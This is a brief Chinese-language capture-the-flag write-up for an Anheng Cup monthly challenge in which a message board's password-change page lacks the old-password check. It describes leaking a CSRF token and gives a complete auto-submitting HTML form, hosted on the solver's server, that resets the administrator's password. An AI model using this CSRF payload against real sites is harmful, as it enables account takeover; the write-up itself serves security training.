安恒杯2月月賽-應該不是xss
阿新 • • 發佈:2018-03-07
圖片 info ken 鏈接 IT -s 管理員 ext input
1. 打開題目一看,是個留言板
2. 查看源碼發現有幾個js文件
依次打開發現在main.js裏存在這樣一段代碼
3. 訪問 /#login是登錄的界面,/#chgpass是修改密碼的界面,其中修改密碼的時候不需要輸入原密碼,大概其是個csrf
4. 再查看app.js,是個修改密碼的js,但是會先驗證token,所以我們需要先得到token
獲取token的方法原理:https://githubengineering.com/githubs-post-csp-journey/
5. 利用:
6. 監聽得到token
7. 下一步就是構造鏈接,讓管理員修改為我們想要的密碼
在自己的服務器放置一個修改密碼的頁面,代碼如下
<form action="http://192.168.5.94/api.php?action=chgpass" method="POST" name="chpa"> <input type="text" name="password" value="hell0_w" /> <input type="text" name="password2" value="hell0_w" /> <input type="text" name="token" value="ymYV0QvnvPbYGfUsmfmOI8Qz4wXaSQU6" /> </form> <script>document.forms[‘chpa‘].submit();</script>
收到請求
使用我們修改的密碼登錄,就可以看到我們想要的flag了
安恒杯2月月賽-應該不是xss